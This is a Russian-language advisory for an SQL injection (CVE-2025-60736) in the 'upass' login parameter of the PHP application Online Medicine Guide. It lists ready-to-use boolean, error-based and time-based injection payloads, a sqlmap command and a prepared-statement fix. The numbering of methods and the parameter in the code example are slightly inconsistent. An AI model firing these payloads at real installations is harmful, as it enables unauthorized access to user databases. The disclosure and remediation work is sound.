CVE-2025-60736: Уязвимость SQL-инъекции в Online Medicine Guide
Краткое описание
В данном документе описывается критическая уязвимость SQL-инъекции, обнаруженная в веб-приложении Online Medicine Guide. Уязвимость позволяет несанкционированный доступ к базе данных и создает значительные риски для безопасности приложения и его пользователей.
Отправитель
1. Информация о продукте
Затронутый продукт
Технические детали
- Язык программирования: PHP
- База данных: MySQL
- Фронтенд: CSS, JavaScript
- Архитектура: Стек LAMP/WAMP
2. Детали уязвимости
Классификация уязвимости
- ID CVE: CVE-2025-60736
- Тип уязвимости: SQL-инъекция
- Серьезность: Критическая
- Оценка CVSS: 9.8 (критическая)
- Вектор атаки: Сеть
- Сложность атаки: Низкая
- Требуемые привилегии: Отсутствуют
- Взаимодействие с пользователем: Отсутствует
- Область действия: Изменена
Анализ первопричины
Уязвимость возникает из-за недостаточной проверки и очистки входных данных в файле /login.php. Приложение напрямую конкатенирует пользовательский ввод из параметра upass в SQL-запросы без надлежащей очистки или использования подготовленных выражений.
Техническая первопричина:
- Прямая конкатенация строк в SQL-запросах
- Отсутствие проверки и очистки входных данных
- Отсутствие реализации подготовленных выражений
- Недостаточная привязка параметров
3. Подтверждение концепции
Местоположение уязвимости
- Файл:
/login.php
- Параметр:
upass (POST)
- Вектор атаки: Манипуляция HTTP POST-запросом
Методы эксплуатации
Метод 1: Логическая SQL-инъекция (Boolean-Based)
POST /login.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
uname=uLnf&upass=rZgo' OR NOT 1852=1852-- iPRx
Метод 1: SQL-инъекция на основе ошибок (Error-Based)
POST /login.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
uname=uLnf&upass=rZgo' AND EXTRACTVALUE(4672,CONCAT(0x5c,0x7176707071,(SELECT (ELT(4672=4672,1))),0x71717a7071))-- knKp
Метод 2: Слепая SQL-инъекция на основе времени (Time-Based Blind)
POST /login.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
uname=uLnf&upass=rZgo' AND (SELECT 2089 FROM (SELECT(SLEEP(5)))zUlY)-- mWfa
Автоматизированное тестирование
Уязвимость была подтверждена с помощью sqlmap:
sqlmap -u "http://localhost:8000/login.php" --data="uname=admin&upass=test" -p upass --batch --dbs

4. План устранения
Немедленные действия
- Экстренный патч: Внедрить проверку входных данных для параметра
upass
- Мониторинг базы данных: Включить комплексное журналирование подозрительной активности
- Ограничение доступа: Внедрить ограничение скорости и ограничения на основе IP-адресов
- Аудит безопасности: Провести немедленную оценку безопасности
5. Техническое устранение
Пример исправления кода
До (уязвимый):
$query = "SELECT * FROM users WHERE username = '" . $_POST['uname'] . "'";
После (безопасный):
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$_POST['uname']]);
Внедрение лучших практик безопасности
- Подготовленные выражения: Использовать исключительно параметризованные запросы
- Проверка входных данных: Внедрить проверку на основе белых списков
- Кодирование вывода: Правильно кодировать все выходные данные
- Обработка ошибок: Внедрить безопасную обработку ошибок без раскрытия информации
- Контроль доступа: Внедрить надлежащую аутентификацию и авторизацию
Версия документа: 1.0
Последнее обновление: 03/10/2025 (дд/мм/гггг)